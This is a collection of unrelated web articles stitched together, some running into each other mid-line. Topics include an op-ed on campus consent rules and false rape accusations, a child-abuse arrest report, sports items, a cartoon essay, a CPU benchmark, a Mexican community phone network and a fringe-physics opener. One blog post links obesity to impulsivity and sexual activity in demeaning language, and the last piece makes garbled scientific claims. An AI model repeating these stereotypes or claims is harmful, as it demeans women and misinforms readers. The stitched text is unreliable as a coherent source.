“Consent is:... A voluntary, sober, imaginative, enthusiastic, creative, wanted, informed, mutual, honest and verbal agreement.
Consent is NOT:... Possible if one person is under the influence of alcohol or drugs.”
University of Wyoming
“Consent cannot be given unless both partners are of sober and sound mind. Sex that occurs while a partner is intoxicated or high is not consensual, informed sexual behavior — it is sexual assault.”
Stopviolenceuw, “Sober and Enthusiastic”
“Here’s the simple definition — sexual consent must be sober and enthusiastic.“
The SGVW Now Project
“Under the Affirmative Consent Standard, a drunk woman cannot consent to sex, because her judgment is incapacitated by alcohol.”
The idea is also promoted in the military.
And by the way, if Valenti disagrees with the “consent must be sober/drunk equals rape” stance, why has she not said so earlier? She also appears to agree with Vice President Biden’s claim that one in five women will be sexually assaulted in college, even though that statistic has been widely debunked (see here, here, and here). Last year she claimed that “Rape is as American as apple pie,” without citing a single study indicating that rape is a cultural norm in our nation.
In fact, studies have shown exactly the opposite. Dr. David Lisak, a psychologist and researcher focused on sexual violence whose work is often cited by feminists, finds that rape is actually committed by a small percentage of men who are repeat offenders. The vast majority of men will never commit rape. So how is it a cultural norm?
More seriously, Valenti and quite a few other folks seem to believe that due process and presumption of innocence are part of the problem. Valenti has suggested that we look to Sweden’s rape laws, which “go much further than U.S. laws do,” as a potential model for our own legislation, alarmingly adding: “In fact, some activists and legal experts in Sweden want to change the law there so that the burden of proof is on the accused; the alleged rapist would have to show that he got consent, instead of the victim having to prove that she didn’t give it.”
Yikes.
As National Review’s Charles C. W. Cooke noted, “As much as anything A.J. Delgado has this week brought out of the woodwork the people who don’t believe in due process in rape cases.” Liberals who routinely invoke due-process concerns for, say, accused terrorists seem to have no such qualms concerning accused rapists. With the sole exception of Bill Clinton accuser Juanita Broaddrick (of “You better put some ice on that” fame), all women who claim to have been sexually assaulted are to be believed, and all defendants are guilty.
University codes regularly inform women that any sex under the influence of alcohol is rape, a stance that misinforms, tries to reprogram, and even traumatizes women. For instance, a 2007 study on campus sexual assault, submitted to the Department of Justice, found that a majority of sexual-assault victims “did not think it was serious enough to report.” In other words, you didn’t think you were raped but, trust us, you were!
And it bears repeating that a groundbreaking FBI report years ago noted that the percentage of unfounded complaints to law enforcement was four times higher for rape than for any other crime. In other words, plain, hard statistics prove that yes, individuals “cry rape.”
If you can afford to blog about feminism for a living, it might not occur to you that not every accused rapist can get his parents to hire a good lawyer and make the problem go away. So why not throw out the norms for dealing with people accused of crimes? After all, who will be hurt if you’re wrong?
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Here’s one: On July 8, 2002, Brian Banks was a few days away from his 17th birthday, a handsome, happy, and healthy African-American teen about to live the American dream. The star of his Long Beach high-school football team, the 6´3´´, 235-pound linebacker had been recruited by a variety of universities and had just accepted a scholarship offer to play for USC, one of the country’s top football programs. All of Brian’s hard work and talent was paying off, and his future could not have been brighter. But later that day, Banks’s life changed in an instant when a classmate claimed he had dragged her into a stairway of their high school and raped her.
Brian was taken into custody and soon thereafter charged, as an adult, with two counts of forcible rape and one count of sodomy by force.
Evidence? Think again! There was none — not a single molecule of Banks’s DNA found on the victim, nor any other physical evidence. Nor did anyone see or hear a thing, even though the assault allegedly happened on school grounds only feet away from classrooms.
Despite the lack of evidence, and despite the fact that Brian was a fine young man who’d never had a single brush with the law, the police and prosecutors moved forward on the word of the “victim.”
Meanwhile, Brian’s mother was living hell on earth. Her son was accused of a rape he didn’t commit, and she was forced to sell her house and her only car, even borrow money from family members, to pay for a lawyer to represent Brian.
Not that it did Brian much good. The lawyer advised Brian to take the plea deal offered by the state, telling him that, even though this was a case of his word versus hers, the jury would see a young black male defendant and find him guilty regardless.
Prosecutors offered Brian Banks a “choice,” if one can even call it that: accept six years or go to trial and risk a sentence of a staggering 41 years. When offered the deal, a frightened Banks wanted to talk to his mother, but was told he had a mere ten minutes to decide whether to take the deal. Figuring six years was better than four decades, a distraught Banks “accepted” the six-year sentence.
Banks served five years and two months of hard time in a California state prison, surrounded by murderers and gang members. Even when he was paroled, he was registered as a sex offender and had to wear a tracking device like an animal. He was not allowed to go near a school or park, had a midnight curfew, and could not set foot outside the state. Due to his record, he was unable to find a job for years, forced to live on scraps and sleep on family members’ couches. In the years when Brian Banks would have been living his dream, possibly as an NFL player with a great life, a beautiful family, and millions of dollars in earnings, he was instead forced to live as an outcast, shunned by society and branded with the horrific “sexual offender” label to boot — all due to a false accusation.
Then, in March 2011, his “victim” got in touch, out of the blue, via Facebook, claiming she wanted to reconcile. Banks played along, met up with her, and was able to secretly record her admitting that she had made it all up. After an arduous battle, and with help from the California Innocence Project, Banks’s conviction was overturned.
For the proponents of “rape culture” theory, real-life stories like this one (and I listed a bunch of others in my original article) are just noise behind their symphony of fake statistics and unsupportable claims. Dismissing the evidence of false claims is purposeful: We must not talk about the ease with which rape or sexual assault allegations are made or handled, be it due to an awful prosecutor or an awfully worded campus code or law. Gotta break a few eggs to make an omelet, after all. If a few lives are recklessly ruined in the war on rape culture, that’s an acceptable price to pay.
This attitude is not just outside all the traditions of our law; it’s absurd on its face. Should we not report on the plight those exonerated of murder, for instance, on the theory that doing so will make it harder for DAs to prosecute homicides?
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Thankfully, as a society, we do take rape very seriously. Writing about the need for a reasonable, sound approach, and against the runaway train of some definitions of sexual assault, does not threaten the former. On the contrary, those who seek to broaden the definition of sexual assault are the ones who threaten to dilute and diminish rape’s horror.
So I stand by every word I wrote. I would write this article again, every day and twice on Sunday, especially after hearing from others across the world who had their lives, or those of their loved ones, ruined by a false accusation.
Media Matters questioned how I sleep at night. I think about Brian Banks, and to that I answer: “Better than ever.”
— A. J. Delgado is a conservative writer and lawyer. She writes about politics and culture.Nicholas Parry is currently being held by authorities who allege he forcibly sodomized a 12-year-old boy with a Wiimote.
Utah's KSL news reports:
Investigators say Parry was at a house where four boys, ages 12 and 13, were having a sleepover. Parry became drunk during the course of the evening, said Unified Police Lt. Justin Hoyal. At some point he apparently became angry that the young boys were teasing him, Hoyal said. He reacted by grabbing a 12-year-old boy and sexually abusing him using a Wii game controller, Hoyal said. The act was witnessed by the other boys. The parents of the boy who was having the sleepover were asleep upstairs, he said. In the morning, when Parry had sobered up, he attacked the 12-year-old boy again, Hoyal said.
Parry later confessed the assault to a neighbor and was subsequently arrested. As the investigation is still in the early stages, it is unknown what kind of penalties the 26-year-old might face.
Though KSL claims that "object rape" is the key crime Parry is being charged with, the state of Utah defines that act as only technically possible with a victim "who is 14 years of age or older."
Though it remains to be seen how Parry will be charged, presumably the boy's young age will only serve to make the crime even more grievous.
Source: KSL, via KotakuSimon Belcher will graduate to the Dunlop MSA British Touring Car Championship from the Renault UK Clio Cup in 2014.
The 39-year-old, who has taken the Masters crown in the one-make series the past two years, is to get behind the wheel of a Speedworks Motorsport-built Toyota Avensis under the Handy M0torsport banner.
Securing substantial backing from his long term sponsor KÄRCHER, Belcher is relishing the chance to race against some of the top touring car drivers in the world, in a year which is shaping up to define another golden era for the BTCC.
“I am absolutely delighted to have made it to the pinnacle of British motorsport in the BTCC, it really is a dream come true,” said Belcher. “We have been working on this deal for many months now and I am delighted to be part of the Handy Motorsport and Speedworks team for 2014.
“Due to the huge success of the NGTC regulations in the BTCC, which have created a level playing field between teams of all sizes, it’s now or never to make the move into the championship. The entry will be full in 2014 and beyond so it will become increasingly hard going forward to obtain a place on the coveted grid.”
Belcher added: “I am so excited to make it to this level, nearly 20 million TV viewers and approaching 400,000 trackside spectators makes the BTCC the only place to be. Alan Gow and the whole TOCA team have been very supportive of our plans and I can’t wait to get on track.
“It’s fantastic to have the continued support from KÄRCHER for our move into touring cars, we have worked together on a very successful program now for many years and I am incredibly proud to be an ambassador for such a quality brand.”
Making it to this stage in his motorsport career, it has been a three year plan to reach the BTCC from the Clio Cup. Now announcing his intentions for 2014, the hard work is set to begin in ensuring that the Swindon-based driver is at home with his new car.
Having shadowed Dave Newsham and seen how the Speedworks squad operate during the 2013 season, Belcher said it made sense for the two to join forces, with Handy preparing the car and Christian Dick’s (Speedworks boss) providing engineering assitance.
“Rather than build our own car in the first year, we decided it would be better to work with an existing team,” explained Belcher. “Speedworks was one of the first teams to run the NGTC cars, so have a heap of experience. They started to show what they’re capable of with some fantastic results in the last couple of BTCC events this year, hence the decision to work with Christian’s team.”
Speedworks are set to assist Belcher throughout the season as well as maintaing their pair of Toyota Avensis machines as well.
Belcher is set to take part in an extensive pre-season test programme before unveiling his striking livery at the AUTOSPORT International Show in January.
PHOTO CREDIT: Handy MotorsportA few years ago, Rafael van der Vaart had a choice to return to Ajax or move near the home of his grandmother in Sevilla for Real Betis. The aging attacking midfielder chose the latter which was a blessing in disguise for the Amsterdammers, as they had an already clogged midfield preventing young talent from developing in the first team. And now, with Donny van de Beek and Frenkie de Jong becoming first team regulars – and Carel Eiting on the fringes – Ajax have made the confusing decision to sign Siem de Jong on a three-year deal for €2 million from Newcastle United.
Although De Jong proved to be a goalscoring option from the bench for PSV last season, the loan deal had its ramifications. Bart Ramselaar was moved to the left wing, while prospects Pablo Rosaria and Dante Rigo’s path to the first team was blocked. Philip Cocu tried to deploy De Jong as a defensive midfielder when Jorrit Hendrix and Andrés Guardado faced injuries, but the former Ajax captain did not impress enough to tie down a regular place in the position. He scored six goals – mostly from the bench – for PSV last season.
De Jong retains the ability to be an Eredivisie goalscorer, as he showed last season against Ajax at the Amsterdam ArenA, capitalizing on poor positioning from Jairo Riedewald to level the tie after a Klaassen opener. However, the purchase of De Jong and the short interest in acquiring Nigel de Jong is flummoxing given the amount of talent Ajax have in midfield. Siem is seen as replacement for Klaassen in terms of leadership that the Everton man brought, but from a playing standpoint there is little need for De Jong.
Dit is ‘m, de gelijkmaker tegen Ajax, gemaakt door Siem de Jong! #ajapsv pic.twitter.com/3Nkku5YUUF — PSV (@PSV) 19 december 2016
With Ajax bereft of continental competition this season the target should be winning the Eredivisie and KNVB Beker, where their competition will be a PSV side in transition and a Feyenoord team with mid-week European responsibilities in a tough UEFA Champions League group.
Noa Lang has impressed with the Ajax u19 side and gained minutes wit the first team during pre-season. He could be the next midfielder to make the transition into Ajax 1, behind Carel Eiting who provides competition for Lasse Schöne and Donny van de Beek in the deep-lying midfield role.
The signing of De Jong could be seen as a stop-gap for the day that Hakim Ziyech finally leaves the Eredivisie for greener pastures, as the Morroccan’s succession plan in Abdelhak Nouri was cruelly robbed of his career this summer. However, it would be difficult to see Siem de Jong performing better than Frenkie de Jong in the attacking midfield role. Besides, this season should be about developing and preparing Frenkie, Van de Beek and Eiting for European football and the next stage of their careers. In terms of strategy, it is confusing to see Marc Overmars sign another midfield player when Mitchell Dijks is still the first-choice left-back at the moment – although that spot could go to Nick Viergever in the near future.
⚽️ Goedemorgen! Door het puntverlies van Ajax en door deze goal van Siem de Jong heeft PSV plaats twee weer in eigen hand. pic.twitter.com/81F3LwitpW — PSV (@PSV) 20 maart 2017
Peter Bosz thinned out the midfield last season with the sales of Riechedly Bazoer and Nemanja Gudelj, which proved to be integral in the rapid development of Frenkie and Van de Beek. Schöne’s ability to circulate the ball and work tight spaces in deeper midfield areas made him a vital conduit for Ajax’ transitions, but the Dane struggled in the latter stages of the Europa League. As a result, Van de Beek was successfully deployed in that role, proving once more there is little need for the addition of Siem De Jong.
The return of Dijks and additions of Huntelaar and De Jong could lead to an inherently lazy plan B of Ajax pumping in copious crosses, hoping one of the latter two would be on the end of the deliveries. However, in a season where Ajax have less responsibilty, the Amsterdammers have the opportunity to prepare their young midfielders for the more strenuous tasks that come with European competition. Van de Beek has recently even been given his first Dutch national team call-up.
Viergever, Schöne and Huntelaar are the only outfield players in the Ajax squad over the age of 25 and could be considered dressing room influences. As a former captain, Siem would be able to assist newly appointed captain Joel Veltman as a leader in a very young dressing room.
De Jong struggled at Newcastle United following the departure of head coach Steve McClaren. The former FC Twente manager deployed him as a second-striker in a 4-4-2 formation as a link-man between the midfield and attack. He put in one of his strongest performances in a victory against Liverpool at St. James Park in one of the few matches that the Magpies won under McClaren. Siem’s success away from Ajax has only been fleeting, proving that his return is sentimental more than anything.
Siem de Jong with the assist 😎
Dwight Gayle with the finish ⚽️ pic.twitter.com/SgfKTZVSbR — 101 Great Goals (@101greatgoals) 16 juli 2017
The return of De Jong could prove to be a hindrance on Eiting in the present and a player like Lang in the longer term. In a summer that was arguably Overmars’ most crucial transfer window, the end has proven to be an anti-climax with the signing of Siem and interest in Nigel. A three-year contract will make this a Niki Zimling-like move, as it is of little benefit to have experience if the experienced player adds little to the starting line-up. Ziyech is the undisputed attacking midfielder with Frenkie de Jong able to play there as well. The Ajax midfield would have been sufficient without any recruits.NFL fans are seeing plenty of scoring so far this season.
There have been 172 touchdowns, the most in the first two weeks of any NFL season. A total of 1,502 points have been scored.
Quarterbacks are launching the ball, with a record 15,771 net passing yards through the first two weeks.
New England Patriots quarterback Tom Brady has thrown for over 400 yards in each of the first two games this season, joining Carolina Panthers rookie quarterback Cam Newton as the only players in NFL history to accomplish that.
Brady has now thrown for 940 yards total this season, the most by any player in a team's first two games in NFL history and five yards short of Phil Simms' NFL record for pass yards in consecutive games (945 in 1985).
Newton on Sunday broke the record for single-game passing yards by a rookie (432 yards), one week after tying the record in his NFL debut.
Of the 32 games played this season, the winning team scored fewer than 21 points in just one: the Jacksonville Jaguars' 16-14 victory over the Tennessee Titans in Week 1. According to the Elias Sports Bureau, that's the lowest total through the first two weeks of any season since 1970, when the AFL and NFL merged.
In 2010, 15 games were won by teams scoring 21 or fewer points through two weeks.
Information from ESPN Stats & Information and The Associated Press was used in this report.The question I get asked most often as cartoon editor is: How much money does The New Yorker pay for a cartoon? All I can say about that is: sell us one and you’ll find out.
The second most frequently asked question is: What did you think about that “Seinfeld” episode making fun of New Yorker cartoons? Well, it was written by one of our best cartoonists, Bruce Eric Kaplan, and my initial reaction was “Et tu, Bruce?,” but over time, the episode has grown on me. I’ve used it before to compare fiction to reality when it comes to what my desk looks like and how the cartoon department operates.
And I have decided to do so again, because the episode provides a fun way to comment on issues I’m interested in. For those of you who haven’t seen the episode, I’ve created a stripped-down comic-strip version of it that includes just the pertinent parts.
Let’s start with the scene in the diner where Elaine is perplexed by the cartoon.
But Elaine is determined to crack the code. So under the pretext of hiring some New Yorker cartoonists to illustrate the J. Peterman catalogue, Elaine gets to see the cartoon editor, who has the surname Elinoff. (I wished they had used my name, but I had to settle for the last three letters.) The real purpose of Elaine’s visit is to make Elinoff admit that the cartoon doesn’t make any sense.
O.K. Let’s start with the kitty. Hey, we like the kitty, too. Who doesn’t? But our kitties aren’t just LOLcats, trafficking in their cuteness.
They are thinking cats,
who make us think more about ourselves.
And, like the fake cartoon in the episode, we do have cartoons with cats and dogs in offices.
The transparency of these cartoons may be at odds with the premise of the “Seinfeld” episode, but the premise is not unreasonable. Elaine has company. That’s why we can run this feature in our annual Cartoon issue.
To get some of these jokes, you just have to put together the different frames of reference.
In the above case, the frames of reference are high-school geometry and stereotypical pirate talk. (And, just to be proactive here, I want to apologize for stereotyping pirates in advance, which I know sounds redundant but in these sensitive times it doesn’t hurt to be proactively proactive.)
Anyway, that mashing-frames-together method won’t work for this cartoon, an early flight of fancy by Roz Chast, from 1980.
For this cartoon, Elinoff’s defense:
What he says does have a certain plausibility, and echoes E. B. White’s famous comment: “Humor can be dissected as a frog can, but the thing dies in the process and the innards are discouraging to any but the pure scientific mind.”
Many years ago, Max Eastman wrote a book called “Enjoyment of Laughter” that completely ignored White’s advice. Eastman’s basic point was that humor is a kind of play, and if you don’t understand that and accept it, you won’t enjoy it.
Play is not the default mode of life, seriousness is. But play is the default mode in cartooning. What cartoonists do is play with incongruities along a continuum that stretches from reality-based humor to nonsense, and invite you to play along with them. The place on the continuum where the invitation is placed often determines the response.
In the diagram, A is realistic humor and B is not, but both are completely gettable, while C isn’t. C doesn’t produce that jolt that you get when you suddenly understand a joke. It’s not totally random, though. There is some method to its madness. C uses the classic triplet structure of a joke.
The triad is “hacksaw,” “green glitter,” and “flounder”—three terms you will find together only in one place when you do a Google search, and that place is in Bliss’s cartoon. So even though the cartoon is far along on the incongruity dimension, its style of Mad-Libs humor is not completely foreign. After all, most people have played Mad-Libs. But Roz’s cartoon offers no such familiarity, and it takes many people out of their comic comfort zone.
Those people include cartoonists. I remember the outrage Roz’s cartoon caused among some cartoonists, who thought its appearance in the magazine signalled the death knell for traditional gag cartooning. Well, gag cartooning is still with us some thirty years later and so, of course, is Roz, who has established her own tradition. Interestingly, the outrage that Elaine expressed at the meeting is directed at classic genre cartoons.
In response to Elaine’s criticism, Elinoff responds by complimenting her on the very premise she is deriding.
The flattery quickly causes Elaine to change her tune and proudly proclaim
Which brings us to the next part of the episode, in which Elaine submits her own cartoon to The New Yorker. To discuss that, more dissection will be required, and I’ve killed enough frogs for one day. The carnage will resume next week, and the exciting dénouement contains a surprise that I guarantee will either delight or appall fans of New Yorker cartoons.Get the latest news and videos for this game daily, no spam, no fuss.
Bryan Lee O'Malley's Scott Pilgrim graphic novel series was spun into a full-length feature film over the summer via the Michael Cera-led Scott Pilgrim vs. The World. Further, a beat-'em-up game accompanied the film from Ubisoft in the form of the coolly received side scroller of the same name. Now, the author has revealed that Telltale Games also courted him for his series. Scott Pilgrim's video game could have been a point-and-click adventure.
O'Malley recently tweeted that the Novato, California, studio behind adventure franchises like Sam & Max, Back to the Future: The Game, and the April-dated Jurassic Park: The Game approached him, and he said no.
"Telltale wanted to do Scott Pilgrim, but I said no," reads his tweet. "I couldn't see it as an adventure game. All respect to them, though."
Ubisoft's Scott Pilgrim game follows the central plotline of the graphic novels, as the mediocre bass guitarist Scott Pilgrim tries to win his dream girl Ramona's heart by fighting her seven ex-boyfriends. A ragtag coalition of her failed lovers--including a vegan rock star, identical twins, and an infamous skateboarder--are determined to prevent Scott from dating their old flame.
For more on Ubisoft's video game, check out GameSpot's review of Scott Pilgrim vs. The World.About a couple weeks ago, you might have heard about a study out of the University of Hawaii that found overweight and obese women (BMI>25) had ‘more sex’ than normal-weighted ones. The study was all over the news because it challenged what we would generally believe – after all, ‘skinny’ women are hotter, so they should have more sex.
The study surveyed over 7,000 women aged 15-44 about their sexual habits, and a higher percentage of the larger women reported having had sex. The researchers admitted they were surprised. “These results were unexpected and we don’t really know why this is the case,” said lead researcher Dr Bliss Kaneshiro. The big question remained – why?
Well, perhaps they should have talked to researchers over at University of Alabama about their new study. While looking to see if the weight of obese women might be tied to their overall ability to control impulses, they found an interesting result. Overweight women are simply more impulsive – even in methods completely unrelated to food.
In a study of 95 men and women, the researchers looked at “delay discounting” – a measure of the degree to which an individual is driven by immediate gratification vs. the prospect of larger, but delayed, rewards. The participants were given the choice of receiving varying hypothetical amounts of money immediately or fixed hypothetical amounts of money to be received after delays of two weeks to ten years. The obese women undervalued the delayed rewards at a rate three-to-four times greater than that of normal weight women – meaning they’re a lot more impulsive.
If you bring together the two parts, it seems obvious why overweight and obese women would have more sex. Because of a lack of impulse control, the hefty ladies are more likely to say ‘yes’ to a man’s advances.
That’s not to say that all fat women are sluts – don’t get me wrong. While the University of Hawaii study found that overweight women are more likely to have had sex, they also found that the sexual behavior between the two groups was essentially the same. That is, BMI was not significantly associated with sexual orientation, age at first intercourse, frequency of heterosexual intercourse, and the number of lifetime or current male partners. So one group was no more slutty or prudish than the other. The only difference is that more overweight women had had sex at all – a small variance in the big scheme of sexual behavior.
Small enough that, perhaps, their increased impulsivity could be at fault. Which just might give those University of Hawaii researchers their answer. Of course, they have yet to show if this difference is genetic versus learned – which might open up a whole other can of worms.
Read more of my stuff at Observations of a NerdIN THE cloud forests of the Sierra de Juárez mountains in southern Mexico, a new kind of tree is springing up: the mobile telephone mast. Unlike most phone masts in the world these are installed, owned and operated by small, mostly indigenous communities. Providing a mobile service in these villages was not profitable enough for big telecoms companies to bother with, unless the locals stumped up $50,000. But improvements in software and the falling price of hardware has made it possible to build a local mobile-phone base station for around $7,500, which non-profit operators and small communities can muster.
Sixteen communities in this remote corner of Mexico now count on local mobile services which cost much less than that of Mexico’s dominant operator, América Móvil, or its nearest rival, Movistar. Eliel López, a motorcycle-taxi driver, says the business he gets using the community-owned network in Villa Talea de Castro in the state of Oaxaca more than pays his monthly fee of 40 pesos ($2.71), which covers local calls, and per-minute call costs of 0.82 pesos to mobiles on other networks in Mexico. The big networks charge around 3 pesos a minute.
Calls to mobiles on other networks can be dialled using pre-paid credit. But ringing someone in the United States might actually be cheaper. This is thanks to a series of repeater antennae scattered through the mountains and providing a connection to Oaxaca city, the state capital. It allows voice-over-internet calls.
The cost of mobile equipment is falling thanks to open-source systems and a new generation of base stations that make use of a process called software-defined radio. As its name suggests, this uses software to manage the network instead of lots of dedicated hardware. Such kit is now available to groups such as Rhizomatica, a non-profit operating from the state capital. Peter Bloom, its founder, has been installing the equipment aided by a bevy of Italian, Spanish and other engineers.
They have been able to do this because Mexico’s constitution gives indigenous community radio stations the right to use radio spectrum in
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.5GHz, the base model Pentium G4560 is only 200MHz slower than the much loved Core i3-6100, which technically means it can't be more than 5% slower. That's amazing news for budget shoppers who had their eye on something like the i3-6100 because the G4560 has been stamped with an MSRP of only $64.
Poised to be the bargain CPU of 2017 -- or at least until AMD's Ryzen -- let's run the Pentium G4560 through our typical battery of benchmarks to see how it performs against pricier Kaby Lake chips as well as some previous-gen parts.
Synthetic Benchmarks
Both the Core i3-6100 and G4560 were tested with DDR4-3000 memory for a fair comparison with other Skylake and Kaby Lake processors. Technically, on a non-Z motherboard the G4560 can only be paired with DDR4-2400 memory but we have found this has a minimal impact on performance for these lower-end processors.
The L1 and L2 cache performance aren't impacted by the DDR memory speed and here we see that the Pentium G4560 is on par with a heavily overclocked AMD FX 8-core processor.
Cinebench R15 shows us that the G4560 is on par with the fourth-generation Core i3-4360 while it's slightly slower than the Core i3-6100.H.P. Lovecraft is one of the most significant names in all of science fiction and horror, which is fitting as he was one of the pioneers of combining the two genres. Authors including Stephen King, Neil Gaiman, and Alan Moore have paid him tribute. His work influences heaps of other less famous writers and artists such as the guys that made this popular, horrifying, and NSFW music video.
But upon his death, his work was ready to fall into obscurity, having never been very high profile in the first place outside horror magazine circles. In fact Lovecraft had practically taken steps to keep it obscure by doing such things as refusing to adapt his work for radio. He made executor of his intellectual property a nineteen year-old friend and passed away in poverty in 1937.
Then in stepped admirer/correspondent/fanboy August Derleth. Derleth campaigned hard to get control of Lovecraft’s intellectual property and then went so far as to found a company specifically for his idol’s writings called Arkham House. He took some of the unfinished stories and wrote them into novel length books, sometimes providing as much as 95% of the content.
The whole concept of a “Cthulu Mythos,” a term applied to all the giant cosmic monsters of which Lovecraft wrote by the many people that have adapted them into other media, was Derleth’s invention. Originally they were just a bunch of one-off, usually vaguely described creatures and thus much less likely to inspire much of a fanbase without there being a sense of shared cosmology and a more distinctive authorial voice.
Unfortunately, Derleth also did all the bad things associated with fanboys writing and publishing essentially fanfiction as well. His spelling and grammar were terrible and literary critics pointed out that his “good vs evil” portrayal of the monsters was completely inconsistent with Lovecraft’s nihilistic tone and cheapened it a bit.
His prose was also dissed for reading more like he was parodying Lovecraft than trying to expand on his writings. In fact, when critic Colin Wilson bashed his idol’s writing, Derleth actually challenged him to write a story in that style better. He acted pretty much like any overenthusiastic admirer that finds someone insulting the thing of which they’re a fan on a message board does. Unlike H.P. while he was creating horror, photographs of Derleth at the time suggest Derleth was a hottie like this stunningly well-executed example.
Today Lovecraft is remembered as the man that left the world Cthulu, worlds beyond worlds, and a big stamp on its fantasy fiction. And Derleth is the guy that preserved H.P. Lovecraft for the world. It’s the classic story of the handsome hunk that works behind the scenes to make the nerd famous.Hockey fans in Manitoba are excited to hear Winnipeg will host an outdoor NHL game, either the Heritage Classic or the Winter Classic, in 2016.
A spokesman for True North Sports and Entertainment, which owns the Winnipeg Jets franchise, confirmed on Tuesday that Investors Group Field will play host to the winter event.
The Calgary Flames' Cory Sarich skates during the warm-up prior to the start of the NHL Heritage Classic in Calgary in February 2011. (Jeff McIntosh/Canadian Press) No firm date has been set yet, nor has an opponent for the Jets been named.
Back in March, True North said some preliminary discussions had taken place with the hockey league.
"Both parties are very interested in making this event happen for Winnipeg and so we hope to have something finalized in the near future as both parties continue to have those discussions," True North's Scott Brown told CBC News at the time.
Hockey organizer excited
The announcement has surprised and delighted area hockey organizers like Darren Zembik in St. Andrews.
"That's great. Now we can have a Heritage Classic at St. Andrews Community Club in 2016 as well for the little kids," he said Tuesday.
The NHL isn't afraid of Manitoba's harsh winter weather, said Zembik.
"I didn't think anyone would think that we would have it here because of the cold weather. But I think that's just going to be awesome," he said.
"You look at the Grey Cup that was in Saskatchewan. Look how good that did."
Heritage or Winter Classic?
The 2014 Heritage Classic will be played March 2 in Vancouver between the Ottawa Senators and the Vancouver Canucks.
There has been two other Heritage Classic games, featuring Canadian NHL teams:
2003 in Edmonton between the Oilers and Montreal Canadiens.
2011 in Calgary between the Flames and the Canadiens.
A similar outdoor event, called the Winter Classic, is held on or near New Year's Day in the United States between NHL teams.
The first was hosted in 2008 by the Buffalo Sabres who faced the Pittsburgh Penguins.
The Winter Classic has been held annually ever since and has only featured American-based NHL teams.
However, that will change in 2014, when the Toronto Maple Leafs are scheduled to visit Detroit to take on the Red Wings Jan. 1 at the stadium at the University of Michigan in Ann Arbor, MI. It has a capacity of more than 109,900.Given they are both based on the same solid business idea, what makes a US startup more valuable than one that is launched in Europe?
The continent is emerging as home to multiple hotbeds of entrepreneurial activity and potential, that are all too often held back by a lack of VC funds, or forced to move to the US to continue their growth trajectory.
It’s a situation that has dogged Croatian entrepreneur Jan Jilek. As director of Internet ad network Ad-net he has spent many years being frustrated at the trans-Atlantic disparity in startup growth opportunity.
For those who are unaware of its scale, he presents this analogy:
Imagine a US versus European car race, over identical distances and stages. US cars get 100% more gas (bigger rounds), and can use freeways. EU cars have to use country roads (one market versus multiple markets). Freeways also have better signage (help from VCs, regulatory framework) Some of the EU startups, the lucky ones, only reach a third stage (acquisition) while US start-ups get to fourth, fifth and some of them even finish the race (IPO).
“For a European idea to compete globally with the same US idea, they need the same amount of money. The fact is, European startups get on average 50% less funding,” says Jilek.Bill Nunn, the actor most famous for his role as Radio Raheem in Spike Lee's "Do the Right Thing," died Saturday in Pittsburgh, Lee announced on Instagram. He was 62.
"My Dear Friend, My Dear Morehouse Brother- Da Great Actor Bill Nunn As Most Of You Know Him As Radio Raheem Passed Away This Morning In His Hometown Of Pittsburgh. Long Live Bill NUNN," Lee wrote on Instagram.
Nunn appeared in a number films throughout his career, which spanned from the late 1980s into the 21st Century. He acted opposite Tobey Maguire in the "Spiderman" franchise, in "New Jack City" with Wesley Snipes, and in "Sister Act" starring Whoopi Goldberg.
But his most notable role was Radio Raheem, the Bedford-Stuyvesant resident who spoke in poetic prose about his brass knuckles emblazoned with the words "love" and "hate."
In the film, racial tensions in the Brooklyn neighborhood simmer during a steamy summer day. They boil over at night when Nunn's character is choked to death by a New York City police officer.
"RADIO RAHEEM Is Now RESTING IN POWER," Lee wrote on Instagram. "RADIO RAHEEM WILL ALWAYS BE FIGHTING DA POWERS DAT BE. MAY GOD WATCH OVER BILL NUNN."Officials with the Florida Fish and Wildlife Conservation Commission said they've identified the men seen in a social media video that appears to show a shark tied to the back of a boat being dragged across water at high speeds.
FWC isn't releasing their names to the public and no arrests have been made, officials said in a statement Wednesday.
"The FWC has identified the individuals in the video, and would like to thank the public for their assistance," the statement read. "Per normal protocol, while this investigation is ongoing, the agency will not be confirming the identities of the individuals involved."
Officials with FWC announced Tuesday that they were investigating the video, which sparked outrage on social media after it was posted.
Want to Spend a Night in Jail? It Just Takes $40
Want to spend the night in the slammer? Minnesota's Chisago County Sheriff's Office can help make it happen. The department is letting people stay overnight inside the new Public Safety Center to see the facility and help deputies train before inmates arrive. It just costs $40 per person. (Published Friday, April 27, 2018)
In the video released by the FWC, one of the men appears to say "look, it’s already almost dead," while pointing to the shark flopping across the water behind the speeding boat.
FWC officials said it's too early to speculate as to what, if any, violations took place in the incident.
"The FWC would like to state that that the lack of respect shown in this video for our precious natural resources is disheartening and disturbing, and is not representative of conservation-minded anglers around the world," the FWC statement read.The March 28 match follows a tough trip to Iraq a week before, with three Russia 2018 qualifiers after that fixture.
The match is a possible sweetener after Football Federation Australia's decision to gift Melbourne City hosting rights in their FFA Cup final against Sydney FC.
"The Socceroos defeated Jordan in front of 25,000 fans at Allianz Stadium in March this year and I'm sure the people of Sydney will get behind the team," FFA CEO David Gallop said in a statement.
"The road to Russia is heating up and this will be a critical match in the campaign.
"When we play at home in Australia, we need to make the most of the opportunity on and off the pitch."
The Socceroos, who sit second behind Asian qualification Group B leaders Saudi Arabia, head to Bangkok next month for a clash against last-placed Thailand.
Following the March home tie against the UAE, Australia will host the Saudis in June before an away match with Japan the following month.
The Socceroos' qualification wraps with a home game against Thailand in early September.July 06, 2012
from AscendingStarSeed Website Spanish version
Quantum physics that has been around for some hundred odd years now is still mainstream physics most accepted physics. Although quantum science has revealed the presence of the zero point field with all its virtual subatomic particles and photons that jump into existence from apparently nowhere to return to oblivion nanoseconds later, there is still is no reasonable explanation as to how and why particles and photons can appear and disappear just like that.
Also the quantum probability wave is still hard to grasp and visualize. Quantum physics may have proven to be a mathematically correct science; for lay people the wave-particle duality of quantum science it is still very hard to understand. How do we visualize particles that are both waves and solid little marbles?
Another difficult thing to grasp is the atom model presented by Niels Bohr where electrons fly in well-defined shells around the nucleus. Since electrons continuously radiate energy they should eventually collapse into the nucleus, but they don't! The question is where does this radiating energy actually come from and how is it replenished? Quantum science has accepted the quantum states of the electrons (distinct shell within the atom) for a fact, but is unable to answer the question why the electrons only occur in discrete shells within the atom and why they don't eventually crash into the nucleus.
Even three hundred years after the discovery of gravity by Newton, science still has no theoretical explanation for it.
This is exactly why science is moving forward to find new theories that can better explain the anomalies of quantum science. Today mainstream science's best shot is the string theory. However, a small group of scientists are now taking a radical new view, and their thinking is taking them back to insights from ancient history.
